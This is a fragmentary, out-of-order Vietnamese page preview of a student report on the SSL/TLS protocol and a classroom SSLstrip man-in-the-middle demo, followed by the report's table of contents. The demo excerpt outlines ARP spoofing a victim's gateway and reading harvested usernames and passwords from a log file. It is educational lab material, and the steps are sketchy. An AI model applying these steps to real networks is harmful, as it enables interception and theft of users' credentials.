SSL demo công SSLstrip MITM Bước : Trên máy nạn nhân : Arpspoof thành công địa MAC default gateway máy hacker có MAC (118,200) Bước : Trên máy nạn nhân thực thao tác web (http port 80) kiểm tra xem kết file filelog.log Ta dùng lệnh : cat filelog.log để mở file xem liệu username password nạn nhân Hoặc ta mở file trực tiếp : vào Places – Home Folder sau mở file filelog.log để xem Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 35 Đề tài : Tìm hiểu giao thức SSL demo cơng SSLstrip MITM Tài liệu tham khảo http://doc.edu.vn/tai-lieu/bao-cao-tim-hieu-giao-thuc-ssl-tls-cach-tancong-va-phong-chong-7627/ http://doc.edu.vn/tai-lieu/do-an-nghien-cuu-ve-ssl-va-ung-dung-cua-ssltrong-bao-mat-web-7783/ http://www.slideshare.net/conglongit90/giao-thc-bo-mt-ssl http://text.123doc.org/document/2236870-do-an-mon-ba-o-ma-t-thongtin-giao-thuc-ba-o-ma-t-ssl.htm (tài liệu chính) Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 36 ... : Tìm hiểu giao thức SSL demo công SSLstrip MITM 2.2 Giao thức SSL Change Cipher Spec : Giao thức SSL Change Cipher Spec giao thức đơn giản ba giao thức đặc trưng SSL mà sử dụng giao thức SSL. .. AT8APage 16 Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM Các giao thức bảo mật SSL 2.1 Giao thức ghi SSL Record Protocol SSL Record Protocol cung cấp dịch vụ cho kết nối SSL: • • Confidentiality... AT8APage Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM CHƯƠNG : TỔNG QUAN VỀ GIAO THỨC SSL Khái niệm SSL (Secure Sockets Layer) giao thức đa mục đích thiết kế để tạo giao tiếp hai chương

Ngày đăng: 08/11/2017, 06:24

Từ khóa liên quan

Mục lục

  • LỜI NÓI ĐẦU

  • CHƯƠNG 1 : TỔNG QUAN VỀ GIAO THỨC SSL

    • 1. Khái niệm

    • 2. Tại sao sử dung SSL:

    • 3. Lịch sử phát triển

    • 4. Các thuật toán mã hóa dùng trong SSL.

    • 5. Cách thức hoạt động

      • 5.1. Đàm phán Cipher suite.

      • 5.2. Xác thực server.

      • 5.3. Gửi dữ liệu đã mã hóa.

      • 5.4. Tiến trình SSL.

      • 5.5. Lựa chọn Cipher suite và xóa Entuty verification.

      • 6. Một số ứng dụng của SSL.

        • 6.1. Ứng dụng công nghệ xác thực máy chủ SSL trong giao dịch thương mại điện tử.

        • 6.2. Ứng dụng SSL trong chữ kí số.

        • 6.3. Giải pháp máy ảo chuyên dụng SSL.

        • 6.4. Ứng dụng SSL VPN dành cho ISP.

        • CHƯƠNG 2: CÁC GIAO THỨC BẢO MẬT SSL.

          • 1. Cấu trúc của giao thức SSL.

          • 2. Các giao thức bảo mật SSL.

            • 2.1. Giao thức bản ghi SSL Record Protocol.

            • 2.2. Giao thức SSL Change Cipher Spec :

            • 2.3. Giao thức cảnh SSL Alert

            • 2.4.  Giao thức bắt tay (Handshake Protocol).

              • 2.4.1. Giai đoạn 1 – Thiết lập khả năng bảo mật :

              • 2.4.2. Giai đoạn 2 – Xác thực server và trao đổi khóa :

Tài liệu cùng người dùng

Tài liệu liên quan